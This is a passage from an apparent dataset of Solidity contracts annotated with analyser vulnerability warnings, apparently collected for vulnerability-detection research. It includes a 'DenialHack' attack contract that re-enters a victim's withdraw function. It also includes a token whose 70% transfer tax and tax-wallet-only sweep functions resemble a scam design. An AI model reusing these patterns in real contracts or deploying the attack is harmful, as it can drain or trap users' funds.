ID: 7b25c2a\n\t\t// reentrancy-no-eth | ID: bccfea2\n _uniPair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n\t\t// reentrancy-no-eth | ID: bccfea2\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 7b25c2a\n\t\t// unused-return | ID: a286eb9\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 7b25c2a\n\t\t// unused-return | ID: 1c2eef7\n IERC20(_uniPair).approve(address(router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 7b25c2a\n swapEnabled = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function transfCaEth() external {\n require(_msgSender() == _taxWallet);\n\n _taxWallet.transfer(address(this).balance);\n }\n}\n",
"file_name": "solidity_code_10845.sol",
"size_bytes": 23209,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Denial {\n address public partner;\n\n address payable public constant owner =\n payable(address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4));\n\n uint timeLastWithdrawn;\n\n mapping(address => uint) withdrawPartnerBalances;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 222dd31): Denial.setWithdrawPartner(address)._partner lacks a zerocheck on \t partner = _partner\n\t// Recommendation for 222dd31: Check that the address is not zero.\n function setWithdrawPartner(address _partner) public {\n\t\t// missing-zero-check | ID: 222dd31\n partner = _partner;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 875501d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 875501d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-lowlevel | severity: Medium | ID: 7660b1d): Denial.withdraw() ignores return value by partner.call{value amountToSend}()\n\t// Recommendation for 7660b1d: Ensure that the return value of a low-level call is checked or logged.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: d68c2fc): Denial.withdraw() sends eth to arbitrary user Dangerous calls partner.call{value amountToSend}()\n\t// Recommendation for d68c2fc: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function withdraw() public {\n uint amountToSend = address(this).balance / 100;\n\n\t\t// reentrancy-benign | ID: 875501d\n\t\t// unchecked-lowlevel | ID: 7660b1d\n\t\t// arbitrary-send-eth | ID: d68c2fc\n partner.call{value: amountToSend}(\"\");\n\n owner.transfer(amountToSend);\n\n\t\t// reentrancy-benign | ID: 875501d\n timeLastWithdrawn = block.timestamp;\n\n\t\t// reentrancy-benign | ID: 875501d\n withdrawPartnerBalances[partner] =\n withdrawPartnerBalances[partner] +\n amountToSend;\n }\n\n receive() external payable {}\n\n function contractBalance() public view returns (uint) {\n return address(this).balance;\n }\n}\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 69a1fab): Contract locking ether found Contract DenialHack has payable functions DenialHack.receive() But does not have a function to withdraw the ether\n// Recommendation for 69a1fab: Remove the 'payable' attribute or add a withdraw function.\ncontract DenialHack {\n function hack(Denial _denialAddress) external {\n _denialAddress.setWithdrawPartner(address(this));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 69a1fab): Contract locking ether found Contract DenialHack has payable functions DenialHack.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 69a1fab: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {\n Denial(payable(msg.sender)).withdraw();\n }\n}\n",
"file_name": "solidity_code_10846.sol",
"size_bytes": 3120,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract popo is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: fde219c): popo.bots is never initialized. It is used in popo._transfer(address,address,uint256)\n\t// Recommendation for fde219c: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6cad6e3): popo._initialBuyTax should be constant \n\t// Recommendation for 6cad6e3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: d55420b): popo._initialSellTax should be constant \n\t// Recommendation for d55420b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2066d07): popo._reduceBuyTaxAt should be constant \n\t// Recommendation for 2066d07: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: b484af4): popo._reduceSellTaxAt should be constant \n\t// Recommendation for b484af4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: ece7876): popo._preventSwapBefore should be constant \n\t// Recommendation for ece7876: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"POPO\";\n\n string private constant _symbol = unicode\"Popo\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 823f077): popo._taxSwapThreshold should be constant \n\t// Recommendation for 823f077: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8c3fdb7): popo._maxTaxSwap should be constant \n\t// Recommendation for 8c3fdb7: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 8400000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n event TaxWalletUpdated(\n address indexed oldTaxWallet,\n address indexed newTaxWallet\n );\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dfed9ef): popo.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for dfed9ef: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8dd5d2b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8dd5d2b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 70edfb3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 70edfb3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8dd5d2b\n\t\t// reentrancy-benign | ID: 70edfb3\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 8dd5d2b\n\t\t// reentrancy-benign | ID: 70edfb3\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3e90231): popo._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3e90231: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 70edfb3\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 8dd5d2b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9ddcdd2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9ddcdd2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: fde219c): popo.bots is never initialized. It is used in popo._transfer(address,address,uint256)\n\t// Recommendation for fde219c: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6608145): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6608145: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 9ddcdd2\n\t\t\t\t// reentrancy-eth | ID: 6608145\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9ddcdd2\n\t\t\t\t\t// reentrancy-eth | ID: 6608145\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 6608145\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 6608145\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6608145\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 9ddcdd2\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6608145\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 6608145\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 9ddcdd2\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8dd5d2b\n\t\t// reentrancy-events | ID: 9ddcdd2\n\t\t// reentrancy-benign | ID: 70edfb3\n\t\t// reentrancy-eth | ID: 6608145\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTranTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 2633861): popo.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 2633861: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8dd5d2b\n\t\t// reentrancy-events | ID: 9ddcdd2\n\t\t// reentrancy-eth | ID: 6608145\n\t\t// arbitrary-send-eth | ID: 2633861\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 486a6dc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 486a6dc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e505953): popo.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for e505953: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2ac623c): popo.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 2ac623c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7152d7f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7152d7f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 486a6dc\n\t\t// reentrancy-eth | ID: 7152d7f\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 486a6dc\n\t\t// unused-return | ID: e505953\n\t\t// reentrancy-eth | ID: 7152d7f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 486a6dc\n\t\t// unused-return | ID: 2ac623c\n\t\t// reentrancy-eth | ID: 7152d7f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 486a6dc\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 7152d7f\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 60a2892): popo.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 60a2892: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 60a2892\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function updateTaxWallet(address payable newTaxWallet) external onlyOwner {\n require(\n newTaxWallet != address(0),\n \"New tax wallet is the zero address\"\n );\n\n address oldTaxWallet = _taxWallet;\n\n _taxWallet = newTaxWallet;\n\n _isExcludedFromFee[oldTaxWallet] = false;\n\n _isExcludedFromFee[newTaxWallet] = true;\n\n emit TaxWalletUpdated(oldTaxWallet, newTaxWallet);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10847.sol",
"size_bytes": 21355,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f0d90f5): Koharu.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for f0d90f5: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e51055a): Koharu.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for e51055a: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: deabfce): Koharu.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for deabfce: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f73fe45): Koharu.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for f73fe45: Consider ordering multiplication before division.\ncontract Koharu is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 41c8f43): Koharu._taxWallet should be immutable \n\t// Recommendation for 41c8f43: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 675b7df): Koharu._initialBuyTax should be constant \n\t// Recommendation for 675b7df: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: bc4d19d): Koharu._initialSellTax should be constant \n\t// Recommendation for bc4d19d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 726c70f): Koharu._finalBuyTax should be constant \n\t// Recommendation for 726c70f: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d85fdfb): Koharu._finalSellTax should be constant \n\t// Recommendation for d85fdfb: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4e4a15a): Koharu._reduceBuyTaxAt should be constant \n\t// Recommendation for 4e4a15a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: f181e80): Koharu._reduceSellTaxAt should be constant \n\t// Recommendation for f181e80: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 536b5f9): Koharu._preventSwapBefore should be constant \n\t// Recommendation for 536b5f9: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 406d052): Koharu._transferTax should be constant \n\t// Recommendation for 406d052: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Koharu\";\n\n string private constant _symbol = unicode\"KOHARU\";\n\n\t// divide-before-multiply | ID: f0d90f5\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: deabfce\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 88b2a1a): Koharu._taxSwapThreshold should be constant \n\t// Recommendation for 88b2a1a: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: f73fe45\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 382e065): Koharu._maxTaxSwap should be constant \n\t// Recommendation for 382e065: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: e51055a\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9763710): Koharu.uniswapV2Router should be immutable \n\t// Recommendation for 9763710: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9e81fd4): Koharu.uniswapV2Pair should be immutable \n\t// Recommendation for 9e81fd4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 532ce9c): Koharu.constructor() 